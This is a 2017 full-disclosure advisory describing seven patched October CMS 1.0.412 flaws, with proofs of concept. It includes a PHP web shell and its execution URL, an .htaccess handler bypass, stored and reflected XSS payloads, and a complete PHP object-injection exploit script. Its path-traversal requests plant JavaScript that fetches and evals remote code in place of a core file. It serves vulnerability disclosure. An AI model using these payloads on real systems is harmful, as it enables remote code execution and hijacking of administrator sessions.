October CMS 1.0.412 Code Execution / Shell Upload
Posted on 20 April 2017
October CMS v1.0.412 several vulnerabilities ############################################ Information =========== Name: October CMS v1.0.412 (build 412) Homepage: http://octobercms.com Vulnerability: several issues, including PHP code execution Prerequisites: attacker has to be authenticated user with media or asset management permission CVE: pending Credit: Anti RA$?is HTML version: https://bitflipper.eu Product ======= October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. Description =========== October CMS build 412 contains several vulnerabilities. Some of them allow an attacker to execute PHP code on the server. Following issues have been identified: 1. PHP upload protection bypass 2. Apache .htaccess upload 3. stored WCI in image name 4. reflected WCI while displaying project ID 5. PHP code execution via asset management 6. delete file via PHP object injection 7. asset save path modification Proof of Concepts ================= 1. PHP upload protection bypass ------------------------------- Authenticated user with permission to upload and manage media contents can upload various files on the server. Application prevents the user from uploading PHP code by checking the file extension. It uses black-list based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). ==================== source start ======================== 106 <?php 107 protected function blockedExtensions() 108 { 109 return [ 110 // redacted 111 'php', 112 'php3', 113 'php4', 114 'phtml', 115 // redacted 116 ]; 117 } ==================== source end ======================== We can easily bypass file upload restriction on those systems by using an alternative extension, e.g if we upload sh.php5 on the server: ==================== source start ======================== <?php $_REQUEST['x']($_REQUEST['c']); ==================== source end ======================== Code can be execute by making a following request: http://victim.site/storage/app/media/sh.php5?x=system&c=pwd 2. Apache .htaccess upload -------------------------- As described in the PHP upload protection bypass section, the application uses black-list based defense. It does not prevent the attacker from uploading a .htaccess files which makes it exploitable on Apache servers. Attacker can use it to add another handler for PHP files and upload code under an alternative name. Attacker has to first upload the .htaccess configuration file with following settings: ==================== source start ======================== AddHandler application/x-httpd-php .z ==================== source end ======================== This will execute all .z files as PHP and after uploading a code named sh.z to the server. It can be used to execute code as described previously. 3. stored WCI in image name --------------------------- Authenticated user, with permission to customize back-end settings, can store WCI payload in the image name. The functionality is located at: Settings -> Customize Back-end -> Brand Logo -> (upload logo) -> (edit name) -> (add title) Set the name to following value: ==================== source start ======================== "><script>alert("stored WCI")</script x=" ==================== source end ======================== Payload is executed when the victim clicks on the image name to edit it. When the administrator edits user's profile image, attacker's payload is executed, allowing him to execute JavaScript during administrator's active session. This can be used, for example, to give another user a "super-user" permission. 4. reflected WCI while displaying project ID -------------------------------------------- Authenticated user with permission to manage software updates can "Attach Project". When invalid value is provided, the error message doesn't properly escape the given value, which allows an attacker to execute code. Since it requires the victim to paste or write the payload in the input field, then it isn't easily exploitable. ==================== source start ======================== "><script>alert(1)</script x=" ==================== source end ======================== 5. PHP code execution via asset management ------------------------------------------ Authenticated user with permission to manage website assets, can use this functionality to upload PHP code and execute it on the server. Asset management URL: http://victim.site/backend/cms. Functionality is located at: CMS -> Assets -> Add -> Create file. First, attacker creates a new asset test.js with the following content: ==================== source start ======================== <pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre> ==================== source end ======================== After saving the file, attacker renames it to test.php5 by clicking on ">_" icon on the newly created file. Modal window opens which allows to specify a new filename. URL to execute PHP code: http://victim.site/themes/demo/assets/test.php5?x=ls%20-lah 6. delete file via PHP object injection --------------------------------------- Authenticated user with "Create, modify and delete CMS partials" or "Create, modify and delete CMS layouts" can move assets to different folders. This functionality is vulnerable to PHP object injection. User input is read from selectedList parameter on line 11 and passed as argument to unserialize(). Unserialized array object is passed to validatePath() on line 32. ==================== source start ======================== 1 <?php namespace CmsWidgets; 2 3 class AssetList extends WidgetBase 4 { 5 // redacted 6 7 public function onMove() 8 { 9 $this->validateRequestTheme(); 10 11 $selectedList = Input::get('selectedList'); 12 if (!strlen($selectedList)) { 13 throw new ApplicationException( Lang::get('cms::lang.asset.selected_files_not_found')); 14 } 15 16 $destinationDir = Input::get('dest'); 17 if (!strlen($destinationDir)) { 18 throw new ApplicationException( Lang::get('cms::lang.asset.select_destination_dir')); 19 } 20 21 $destinationFullPath = $this->getFullPath($destinationDir); 22 if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) { 23 throw new ApplicationException( Lang::get('cms::lang.asset.destination_not_found')); 24 } 25 26 $list = @unserialize(@base64_decode($selectedList)); 27 if ($list === false) { 28 throw new ApplicationException( Lang::get('cms::lang.asset.selected_files_not_found')); 29 } 30 31 foreach ($list as $path) { 32 if (!$this->validatePath($path)) { 33 throw new ApplicationException( Lang::get('cms::lang.asset.invalid_path')); 34 } 35 36 // ... ==================== source end ======================== Following PHP exploit uses the vulnerability. It requires an authenticated user's session to execute as described previously. ==================== source start ======================== <?php class Swift_Mime_SimpleHeaderSet {} class Swift_KeyCache_DiskKeyCache { private $_keys; public function __construct($path, $filename) { $this->_keys = [$path => [ $filename => null]]; } } class Swift_Mime_SimpleMimeEntity { private $_headers; private $_cache; private $_cacheKey; public function __construct($filename, $path = '') { $this->_headers = new Swift_Mime_SimpleHeaderSet(); $this->_cache = new Swift_KeyCache_DiskKeyCache($path, $filename); $this->_cacheKey = $path; } } function payload($filename) { $builder = new Swift_Mime_SimpleMimeEntity($filename); return base64_encode(serialize([$builder])); } function http($config) { $ch = curl_init($config['url']); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($config['data'])); curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']); curl_setopt($ch, CURLOPT_COOKIE, $config['cookies']); curl_setopt($ch, CURLOPT_PROXY, $config['proxy']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return curl_exec($ch); } function get_config($url, $filename, $session) { return [ 'url' => $url.'/backend/cms', 'data' => [ 'dest' => '/', 'theme' => 'demo', 'selectedList' => payload($filename), ], 'headers' => [ 'X-OCTOBER-REQUEST-HANDLER: assetList::onMove', 'X-Requested-With: XMLHttpRequest', ], 'cookies' => 'admin_auth='.$session, 'proxy' => 'localhost:8080', ]; } $url = 'http://victim.site'; $session = '<specify admin_auth cookie value here>'; $filename = '/tmp/target.txt'; echo http(get_config($url, $filename, $session)); ==================== source end ======================== 7. asset save path modification ------------------------------- Authenticated user, with permission to manage website assets, can modify the path the file is saved to. This allows an attacker to save css, js, less, sass, scss files at different locations. Attacker can possibly use it to execute JavaScript on the site, if the application tries to require an file on the server that does not exist or the attacker manages to delete the file beforehand. When an attacker creates a new asset, then the following request is made. Asset management URL: http://victim.site/backend/cms. Functionality is located at: CMS -> Assets -> Add -> Create file. ==================== request ======================== POST /backend/cms HTTP/1.1 Host: victim.site Content-Length: 817 Content-Type: application/x-www-form-urlencoded X-OCTOBER-REQUEST-HANDLER: onSave X-Requested-With: XMLHttpRequest Cookie: admin_auth=...; Connection: close fileName=test.js&content=test&templateType=asset&theme=demo ==================== request end ==================== The parameter fileName isn't validated and allows an attacker to specify an path where the file should be saved to. Overwriting files is forbidden. If we specify the file name as ../../../test.js then we can assert that the file is created at the root of site's web directory. We can execute JavaScript by combining this issue with file deletion vulnerability via POI. For that, we are going to replace the modules/backend/ assets/js/vendor/jquery.min.js file with our own content. It is loaded on the page for every authenticated user and allows us as an attacker to take control of their session. The payload for this example is the following: ==================== source start ======================== var c = new XMLHttpRequest(); c.open('GET', 'https://code.jquery.com/jquery-1.11.1.js', false); c.onreadystatechange = () => eval(c.responseText); c.send(); var h = () => {location.hash = 'Hacked: ' + (new Date())}; setInterval(h, 1000); ==================== source end ======================== After we delete the jquery.min.js file on the server, we create a new asset with the payload as the content. ==================== request ======================== POST /backend/cms HTTP/1.1 Host: victim.site Content-Length: 371 Content-Type: application/x-www-form-urlencoded X-OCTOBER-REQUEST-HANDLER: onSave X-Requested-With: XMLHttpRequest Cookie: admin_auth=...; Connection: close fileName=../../../modules/backend/assets/js/vendor/jquery.min.js&content= var+c+%3d+new+XMLHttpRequest()%3b c.open('GET',+'https%3a//code.jquery.com/jquery-1.11.1.js',+false)%3b c.onreadystatechange+%3d+()+%3d>+eval(c.responseText)%3b c.send()%3b var+h+%3d+()+%3d>+{location.hash+%3d+'Hacked%3a+'+%2b+(new+Date())}%3b setInterval(h,+1000)%3b &templateType=asset&theme=demo ==================== request end ==================== After the victim authenticates, the payload is executed. For this example, it changes the URL hash every second, but can be used to take control of the victims session. Conclusion ========== Authenticated user with permission to manage website assets, upload and manage media contents or customize back-end settings can use vulnerabilities found there to execute PHP code on the server and take control of the application. New release v1.0.413 has been made available as a result: https://octobercms.com/support/article/rn-8 https://github.com/octobercms/october/releases/tag/v1.0.413. Timeline ======== 05.04.2017 | me > developer | first vulnerability discovered 06.04.2017 | me > developer | initial contact 07.04.2017 | me > developer | sent PoC 09.04.2017 | developer > me | developer implemented patches; requested additional information 09.04.2017 | me > developer | sent PoC with additional information and findings 10.04.2017 | developer > me | all issues were patched 11.04.2017 | developer > public | new release 11.04.2017 | me > DWF | CVE request 12.04.2017 | me > public | full disclosure --- Anti RA$?is Blog: https://bitflipper.eu Pentester at http://www.clarifiedsecurity.com
